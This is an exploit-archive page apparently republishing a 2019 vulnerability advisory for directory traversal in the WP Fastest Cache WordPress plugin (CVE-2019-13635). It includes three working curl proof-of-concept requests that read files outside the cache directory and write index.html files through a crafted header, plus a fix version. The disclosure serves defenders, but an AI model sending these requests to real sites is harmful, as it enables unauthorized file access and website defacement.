what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress WP Fastest Cache 0.8.9.5 Directory Traversal

WordPress WP Fastest Cache 0.8.9.5 Directory Traversal
Posted Jul 30, 2019
Authored by Imre Rad

WordPress WP Fastest Cache plugin versions 0.8.9.5 and below suffer from a directory traversal vulnerability.

tags | exploit, file inclusion
advisories | CVE-2019-13635
SHA-256 | a48aa7f98293e513ef94ab9b82442089b2529f76733376c84e5da8863c042fd3

WordPress WP Fastest Cache 0.8.9.5 Directory Traversal

Change Mirror Download
WP Fastest Cache is a Wordpress plugin that creates static html files
from the dynamic WordPress blog in order to speed up operation.

Version 0.8.9.5 and below of the plugin was identified being
vulnerable to directory traversal attacks.

The first two are Windows only, the 3rd one is generic. The Windows
specific ones were tested on WampServer (so with Apache's Httpd).

#1:
The impact is reading files outside of the cache directory. The
attacker has control over the directory only, the file is selected as
the first hit of the scandir results in descending order.


curl --path-as-is http://vulnerable-host.tld/wpfc-minified/..\..\..\/stuff.php

<?php
/**
* XML-RPC protocol support for WordPress
*
* @package WordPress
*/
...

#2:
The cacheFilePath construction logic in cache.php can be abused to
mount a similar attack as vuln #1 and read index.html files outside
the cache directory:

curl --path-as-is http://vulnerable-host.tld/..\..\..\/whatever.html\/..
some html content outside the cache directory
<!-- via php -->


#3:
If the Google Translate plugin is active on the victim system then it
is also possible to create index.html files outside the cache
directory:

curl -v --header "X-GT-LANG: ../../../.."
http://vulnerable-host.tld/some-article/

In configurations where the html extension has higher precedence over
php in the webserver's DirectoryIndex configuration, this could
actually change the front page of the victim website.


Remediation: update to plugin version 0.8.9.6

Imre
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close